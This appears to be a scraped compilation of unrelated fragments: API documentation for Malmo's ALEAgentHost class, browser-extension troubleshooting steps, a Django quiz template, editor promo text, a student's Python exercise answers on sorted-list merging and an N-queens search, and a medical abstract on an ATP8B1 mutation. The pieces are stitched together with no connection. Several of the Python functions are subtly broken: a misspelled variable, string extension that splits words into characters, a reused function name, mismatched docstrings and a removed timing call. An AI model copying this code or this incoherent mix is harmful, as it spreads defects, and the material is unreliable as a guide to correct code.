| name | The name of the argument. To be given as "--name <value>" |
| description | The explanation of the argument that can be printed out. |
| defaultValue | The value that this argument should have if not given on the command line. |
|
inherited |
Retrieves the value of a named floating-point argument.
| name | The name of the argument. |
|
inherited |
Retrieves the value of a named integer argument.
| name | The name of the argument. |
| std::string malmo::ALEAgentHost::getRecordingTemporaryDirectory | ( | ) | const |
Gets the temporary directory being used for the mission record, if recording is taking place.
|
inherited |
Retrieves the value of a named string argument.
| name | The name of the argument. |
|
inherited |
Gets a string that describes the current set of options we expect.
| WorldState malmo::ALEAgentHost::getWorldState | ( | ) |
Gets the latest world state received from the game.
Resets the count of items received since the last time.
|
inherited |
Parses a list of strings.
Throws std::exception if parsing fails. In C++: takes a std::vector<std::string>. In Python: takes a list of strings.
| args | The arguments to parse. |
|
inherited |
Parses a list of strings given in the C style. Throws std::exception if parsing fails.
Available in C++ only. In other languages use the parse function instead.
| argc | The number of arguments. |
| argv | The arguments to parse. |
| WorldState malmo::ALEAgentHost::peekWorldState | ( | ) | const |
Gets the latest world state received from the game.
|
inherited |
Gets whether a named argument was parsed on the command-line arguments.
| name | The name of the argument. |
| void malmo::ALEAgentHost::sendCommand | ( | std::string | command | ) |
Sends a command to the game client.
See the mission handlers documentation for the permitted commands for your chosen command handler.
| command | The command to send as a string. e.g. "move 1" |
| void malmo::ALEAgentHost::setObservationsPolicy | ( | AgentHost::ObservationsPolicy | observationsPolicy | ) |
Specifies how you want to deal with multiple observations.
| observationsPolicy | How you want to deal with multiple observations coming in asynchronously. |
| void malmo::ALEAgentHost::setRewardsPolicy | ( | AgentHost::RewardsPolicy | rewardsPolicy | ) |
Specifies how you want to deal with multiple rewards.
| rewardsPolicy | How you want to deal with multiple rewards coming in asynchronously. |
|
inline |
Set the random seed used to seed the ALE.
If 0 (the default), the ALE will use the current time instead.
| void malmo::ALEAgentHost::setVideoPolicy | ( | AgentHost::VideoPolicy | videoPolicy | ) |
Specifies how you want to deal with multiple video frames.
| videoPolicy | How you want to deal with multiple video frames coming in asynchronously. |
| void malmo::ALEAgentHost::startMission | ( | const MissionSpec & | mission, |
| const ClientPool & | client_pool, | ||
| const MissionRecordSpec & | mission_record, | ||
| int | role, | ||
| std::string | unique_experiment_id | ||
| ) |
Starts a mission running.
Throws an exception if something goes wrong.
| mission | The mission specification. |
| client_pool | leave this null - meaningless for ALE |
| mission_record | The specification of the mission recording to make. |
| role | Index of the agent that this agent host is to manage. Zero-based index. Use zero if there is only one agent in this mission. |
| unique_experiment_id | An arbitrary identifier that is used to disambiguate our mission from other runs. |
| void malmo::ALEAgentHost::startMission | ( | const MissionSpec & | mission, |
| const MissionRecordSpec & | mission_record | ||
| ) |
Starts a mission running, in the simple case where there is only one agent running on the local machine.
Throws an exception if something goes wrong.
| mission | The mission specification. |
| mission_record | The specification of the mission recording to make. |


In some cases, the extension may stop working. If you experience this issue, you can solve it with these steps:
1. Open the Chrome extension page ("chrome://extensions/" in the address bar)
2. Find "Snap toolbox"
3. Disable Snap, then re-enable it
4. Refresh the page you want to capture with Snap, and try to take a screenshot again
Use GitHub to file bugs and feature requests.


Congratulations {{player.name }}
on reaching Stage 2!
To view or answer a question click on its title
Till Now you have solved
{{player.count2}} question{{ player.count2|pluralize}} in Stage 2
{% for i in q %}
{% if i.files%}
{% endif %}
{% endfor %}


Init on click improves the page performance by initializing only the basic code when the page is loaded and the rest of the code when clicking in the editable area. It is highly recommended to use the initOnClick option if you have more rich text editors on the same page.
Click here to initialize the WYSIWYG HTML editor on this text.
\


Exercise:
1:
a:
def words_occurs_in_both_list(vocab, wds):
""" Both the vocab and wds must be sorted. Return a new
list of words from wds that occurs in both lists.
"""
result = []
xi = 0
yi = 0
while True:
if xi >= len(vocab):
result.extend(wds[yi:])
return result
if yi >= len(wds):
return result
if vocab[xi] == wds[yi]: # Good, word exists in vocab
result.append(wds[yi])
yi += 1
elif vocab[xi] < wds[yi]: # Move past this vocab word,
xi += 1
else: # Got word that is not in vocab
yi += 1
b:
def words_occurs_in_first_list(vocab, wds):
""" Both the vocab and wds must be sorted. Return a new
list of words from wds that occurs in both lists.
"""
result = []
xi = 0
yi = 0
while True:
if xi >= len(vocab):
return result
if yi >= len(wds):
result.extend(vocab[xi])
return result
if vocab[xi] == wds[yi]:
xi += 1
elif vocab[xi] > wds[yi]:
yi += 1
else:
result.append(vacab[xi])
xi += 1
vocab = ['awd','d']
wds = ['awd','a']
print(words_occurs_in_first_list(vocab, wds))
c:
def words_occurs_uniquely_in_second(vocab, wds):
""" Both the vocab and wds must be sorted. Return a new
list of words from wds that do not occur in vocab.
"""
result = []
xi = 0
yi = 0
while True:
if xi >= len(vocab):
result.extend(wds[yi:])
return result
if yi >= len(wds):
return result
if vocab[xi] == wds[yi]: # Good, word exists in vocab
yi += 1
elif vocab[xi] < wds[yi]: # Move past this vocab word,
xi += 1
else: # Got word that is not in vocab
result.append(wds[yi])
yi += 1
d
def remove_adjacent_dups(xs):
""" Return a new list in which all adjacent
duplicates from xs have been removed.
"""
result = []
most_recent_elem = None
for e in xs:
if e != most_recent_elem:
result.append(e)
most_recent_elem = e
return result
def words_occurs_in_both_list(vocab, wds):
""" Both the vocab and wds must be sorted. Return a new
list of words from wds that occurs in both lists.
"""
result = []
xi = 0
yi = 0
while True:
if xi >= len(vocab):
result.extend(wds[yi])
return remove_adjacent_dups(result)
if yi >= len(wds):
result.extend(vocab[xi])
return remove_adjacent_dups(result)
if vocab[xi] == wds[yi]:
xi += 1
elif vocab[xi] > wds[yi]:
yi += 1
else:
result.append(vocab[xi])
result.append(wds[yi])
xi += 1
vocab = ['awd','d']
wds = ['awd','z']
print(words_occurs_in_both_list(vocab, wds))
e:
def bagdiff(vocab, wds):
result = []
xi = 0
yi = 0
while True:
if xi >= len(vocab):
return result
if yi >= len(wds):
result.extend(vocab[xi:])
return result
if vocab[xi] == wds[yi]:
yi += 1
xi += 1
elif vocab[xi] < wds[yi]:
result.append(vocab[xi])
xi += 1
else:
yi += 1
vocab = ['awd','d']
wds = ['awd','z']
print(bagdiff(vocab, wds))
2:
def col_clashes(bs, c):
""" Return True if the queen at column c clashes
with any queen to its left.
"""
for i in range(c): # Look at all columns to the left of c
if share_diagonal(i, bs[i], c, bs[c]):
return True
return False # No clashes - col c has a safe placement.
def share_diagonal(x0, y0, x1, y1):
""" Is (x0, y0) on a shared diagonal with (x1, y1)? """
dy = abs(y1 - y0) # Calc the absolute y distance
dx = abs(x1 - x0) # CXalc the absolute x distance
return dx == dy # They clash if dx == dy
print(col_clashes([0,1], 1))
def has_clashes(the_board):
""" Determine whether we have any queens clashing on the diagonals.
We're assuming here that the_board is a permutation of column
numbers, so we're not explicitly checking row or column clashes.
"""
for col in range(1,len(the_board)):
if col_clashes(the_board, col):
return True
return False
def main():
import random
rng = random.Random() # Instantiate a generator
bd = list(range(16)) # Generate the initial permutation
num_found = 0
tries = 0
while num_found < 10:
rng.shuffle(bd)
tries += 1
if not has_clashes(bd):
print("Found solution {0} in {1} tries.".format(bd, tries))
tries = 0
num_found += 1
import time
t0 = time.clock()
main()
t1 = time.clock()
print(t1-t0)
when bd = 14 it takes about a minute
:


Novel ATP8B1 mutation in an adult male with progressive familial intrahepatic cholestasis.
Progressive familial intrahepatic cholestasis type 1 is a rare disease that is characterized by low serum γ-glutamyltransferase levels due to mutation in ATP8B1. We present a 23-year-old male who experienced persistent marked pruritus for eighteen years and recurrent jaundice for thirteen years, in addition to cholestasis that eventually became fatal. Genetic sequencing studies of the entire coding (exon) sequences of ATP8B1 and ABCB11 uncovered a novel heterozygous missense 3035G>T mutation (S1012I) and a synonymous 696T>C mutation in ATP8B1. The patient's progression was associated with not only impaired familial intrahepatic cholestasis 1 (FIC1) function but also impaired bile salt export pump expression due to the impaired FIC1 function. Our findings show that patients with intermittent cholestasis can develop progressive liver disease even after several decades and require regular follow up.